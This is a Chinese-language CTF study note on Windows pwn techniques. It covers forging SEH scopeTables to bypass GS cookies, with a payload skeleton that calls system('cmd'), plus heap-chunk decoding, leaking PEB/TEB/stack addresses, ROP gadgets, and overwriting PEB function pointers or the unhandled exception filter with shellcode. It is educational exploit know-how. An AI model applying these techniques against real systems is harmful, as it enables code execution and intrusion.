Windows pwn学习笔记
2020-11-20 10:39:20 Author: xz.aliyun.com(查看原文) 阅读量:317 收藏

[TOC]

安装winpwn

pip install winpwn
pip install pefile
pip install keystone-engine
pip install capstone

栈溢出

相关结构体

32为系统下SEH结构体

//sehFrame
 _EH3_EXCEPTION_REGISTRATION struc ; (sizeof=0x10, align=0x4, copyof_4)
0x0 Next            dd ?                    ; offset
0x4 ExceptionHandler dd ?                   ; offset
0x8 ScopeTable      dd ?                    ; XREF: _main+21/w ; offset
0xC TryLevel        dd ?                    ; XREF: _main+57/w
0x10 _EH3_EXCEPTION_REGISTRATION ends
//scopeTable
_EH4_SCOPETABLE struc ; (sizeof=0x10, align=0x4, copyof_9, variable size)
0x0 GSCookieOffset  dd ?
0x4 GSCookieXOROffset dd ?
0x8 EHCookieOffset  dd ?
0xC EHCookieXOROffset dd ?
0x10 ScopeRecord     _EH4_SCOPETABLE_RECORD 0 dup(?)
0x10 _EH4_SCOPETABLE ends
//scopeTable_Record
_EH4_SCOPETABLE_RECORD struc ; (sizeof=0xC, align=0x4, copyof_8)
0x0 EnclosingLevel  dd ?
0x4 FilterFunc      dd ?                    ; offset
0x8 HandlerFunc     dd ?                    ; offset
0xC _EH4_SCOPETABLE_RECORD ends

触发异常源码

GS Cookies 验证代码

void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
    unsigned int v3; // esi@2
    unsigned int v4; // esi@3

    if ( scopeTable->GSCookieOffset != -2 )
    {
        v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
        __guard_check_icall_fptr(cookieCheckFunction);
        ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
    }
    v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
    __guard_check_icall_fptr(cookieCheckFunction);
    ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

会验证两个条件:

1framePointer[scopeTable->GSCookieOffset] ^ framePointer[scopeTable->GSCookieXOROffset]== __security_cookie
2framePointer[scopeTable->EHCookieOffset] ^ framePointer[scopeTable->EHCookieXOROffset]== __security_cookie

要绕过这检查1,可以伪造scopeTable->GSCookieOffset=0xfffffffe。但是对于条件2,还没有办法。

异常触发函数

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
    // 异或解密 scope table
    scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

    // sehFrame=Next, framePointer=ebp
    framePointer = (char *)(sehFrame + 16);
    scopeTable = scopeTable_1;

    // 验证 GS
    ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
    __except_validate_context_record(context);

    if ( exceptionRecord->ExceptionFlags & 0x66 )
    {
        ......
    }
    else
    {
        exceptionPointers.ExceptionRecord = exceptionRecord;
        exceptionPointers.ContextRecord = context;
        tryLevel = *(_DWORD *)(sehFrame + 12);
        *(_DWORD *)(sehFrame - 4) = &exceptionPointers;
        if ( tryLevel != -2 )
        {
            while ( 1 )
            {
                v8 = tryLevel + 2 * (tryLevel + 2);
                filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
                scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
                encloseingLevel = scopeTableRecord->EnclosingLevel;//-2跳出后面的循环
                scopeTableRecord_1 = scopeTableRecord;
                if ( filterFunc )
                {
                    // 调用 FilterFunc
                    filterFuncRet = _EH4_CallFilterFunc(filterFunc);
                    ......
                    if ( filterFuncRet > 0 )
                    {
                        ......
                        // 调用 HandlerFunc
                        _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
                        ......
                    }
                }
                ......
                tryLevel = encloseingLevel;
                if ( encloseingLevel == -2 )
                    break;
                scopeTable_1 = scopeTable;
            }
            ......
        }
    }
  ......
}

这里要劫持filterFunc,就需要劫持scopeTable。这需要满足两个条件:需要能覆盖掉sehFrame结构体,并且能泄露securityCookies。

payload

#伪造scopeTable
scopeTable = [
    0x0FFFFFFFE,    #GSCookieOffset
    0,              #GSCookieXOROffset
    0x0FFFFFFCC,    #EHCookieOffset
    0               #EHCookieXOROffset
]
scopeTable_Record = [
    0xfffffffe,     #EnclosingLevel=-2
    system('cmd'),  #FilterFunc 
    0
]
sehFrame = [
    Next,               #original
    ExceptionHandler,   #original
    scopeTable_addr,    #fake
    trylevel            #如果要伪造trylevel,就需要修改scopeTable,否则就不篡改,维持original
]
payload =  flat(scopeTable + scopeTable_Record)
payload += padding
paylaod += GS#___security_cookie 相当于canary
payload += Next + ExceptionHandler +scopeTable_addr + flat(sehFrame)#覆盖sehFrame结构

其中GS的位置计算方法如下:要满足[ebp + scopeTable->EHCookieOffset] ^ [ebp + scopeTable->EHCookieXOROffset]=GS,scopeTable结构体的EHCookieOffset变量和EHCookieXOROffset变量所对应的ebp的偏移的位置的值抑或后等于GS。因此通常将EHCookieXOROffset设置为0,那么GS放置的位置就等于ebp + scopeTable->EHCookieOffset。

64位与32位的区别

1、windows 64位程序函数调用的参数顺序依次为rcx,rdx,r8,r9
2、在调用system(cmd.exe)过程中,若出现MOVAPS [rsp+0x4f0],xmm0之类的错误而导致不能反弹shell,这是因为MOVAPS指令需要16字节对齐,因此需要在rop链中修改gadget来调整栈空间

堆溢出

相关结构体

32位下,chunk头部字段信息

ntdll!_HEAP_FREE_ENTRY
+0  Size                    #chunk的大小,实际大小为Size*8
+2  PreviousSize            #前一个chunk的大小,实际大小*8
+4  SmallTagIndex           #用于检查堆溢出的Cookie
+5  Flags                   #标志位
+6  UnusedBytes             #用于对齐的字节数
+7  SegmentIndex            #所属堆段号
+8  FreeList    :[FD-BK]
Flags标志位:
0x01 Busy               #该块处于占用状态
0x02 Extra present      #该块存在额外描述
0x04 Fill pattern       #使用固定模式填充堆块
0x08 Virtual Alloc      #虚拟分配
0x10 Last entry         #该段最后一个堆块

SmallTagIndex 实际上是安全cookie,算法如下:_HEAP._HEAP_ENTRY.cookie=_HEAP_ENTRY.cookie^((BYTE)&_HEAP_ENTRY/8)

Heap Entry相当于Linux下的chunk,windows对前8个字节进行了加密,加密方式:与HEAP结构0x50偏移处8个字节抑或

例题:2020强网杯wingame


例如0xE50000处为HEAP结构,其HEAP+0x50为解密密钥0C5FBB3EFE5600,而一般密钥都是00结尾

将chunk的前8个字节与密钥逐位异或,得到21000120 01020008。size=0x21*8=0x108

利用方式

1、修改栈返回地址ROP(最常用)

首先需要实现任意读写,泄露栈地址的过程如下:
ntdll -> ntdll!PebLdr泄露peb ->计算处teb -> 栈地址 ->遍历查找ret地址

ret_content = base + 0x239a
ret_addr = 0
for i in range(stackbase,stackbase-0x1000,-4):
    if ret_addr==0:
        tmp = re(i)
        if tmp==ret_content:
            ret_addr = i
            break
assert ret_addr>0

一段有用的gadget : mov [rcx],rdx; ret
这段gadget可以在ntdll.dll中可以找到,如果配合上pop rcx;ret以及pop rdx;ret可以实现任意地址写并且在rop中传参时也能发挥很好的作用

在ida中搜索peb偏移的方法:

现在微软应该是把在线符号表给墙了,因为某些原因不能科学上网(懒),所以在用windbg的时候无法下载符合本地系统的pdb。这里我使用x64dbg进行调试。
1、在ida中打开ntdll,搜索函数LdrQueryImageFileExecutionOptions,交叉引用找到调用它的地方,如下图所示:

2、在上面可以发现一个位于.data的全局变量peb_44(我自己命名的),然后找到它在.data中的位置,如下图所示:

3、可以看到peb_44的偏移为ntdll+0x11dc54(这个偏移是我本机win10 版本号为18363的32位ntdll的偏移)
4、最后在调试器中定位到ntdll+0x11dc54,可以看到一个peb+0x44的值,从而可以泄露peb。

在NT内核系统中fs寄存器指向TEB结构,TEB+0x30处指向PEB结构,PEB+0x0c处指向PEB_LDR_DATA结构,PEB_LDR_DATA+0x1c处存放一些指向动态链接库信息的链表地址,win7下第一个指向ntdl.dll,第三个就是kernel32.dll的。可以通过查看线程TEB+0x30的内容检查是否为正确的PEB地址或者查看PEB+0xc是否为ntdll中的地址。
5、泄露栈地址
PEB->TEB->stack
PEB和TEB的偏移是固定的,在本地调试中的偏移为TEB=PEB+0x3000
在TEB前三个指针都是栈的指针,第一个估计是ebp附近的SEH_RECODE[1]的地址指针,第二个估计是stack base,第三个估计是stack end。我们搜索栈空间寻找返回地址时,大概从stack base-0x1000开始搜索到stack base这一个页面的内容就行了。

从kernel32.dll泄露ntdll

如果原程序中没有ntdll的导入表,可以从kernel32.dll中泄露,方法如下(源自https://xz.aliyun.com/t/6319#toc-4)
可以从kernel32.dll中定位到NtCreateFile函数的偏移,因为NtCreateFile函数是从ntdll.dll的导入函数。在我win10 18363虚拟机中,偏移为kernel32.dll+0x819BC。
再进一步,如果只泄露了一个dll动态库的地址,只要其有其他dll库的导入函数,我们就有可能从其内存空间中泄露处其他dll库的地址。

2、篡改PEB中的函数指针

PEB结构中存放了RtlEnterCriticalSection()和RtlLeaveCriticalSection()函数指针,在程序正常退出时会调用ExitProcess(),为了同步线程该函数又会调用RtlEnterCriticalSection()及RtlLeaceCriticalSection()进行处理。

//32位
RtlEnterCriticalSection = &PEB + 0x20;
RtlLeaveCriticalSection = &PEB + 0x24;

3、UEF

系统默认异常处理函数(UEF,Unhandler Exception Filter)是系统处理异常时最后调用的一个异常处理例程,在堆溢出中,只需将这一地址覆盖为我们的shellcode地址即可。获取UEF地址的方法可以通过查看SetUnhandledExceptionFilter()的代码来定位,接着再找到操作UnhandledExceptionFilter指针的MOV指令

77E93114   A1 B473ED77      MOV EAX,DWORD PTR DS:[77ED73B4]  ;UnhandledExceptionFilter指针
77E93119   3BC6             CMP EAX,ESI
77E9311B   74 15            JE SHORT kernel32.77E93132
77E9311D   57               PUSH EDI
77E9311E   FFD0             CALL EAX

Reference

Windows Pwn 学习之路


文章来源: http://xz.aliyun.com/t/8531
如有侵权请联系:admin#unsafe.sh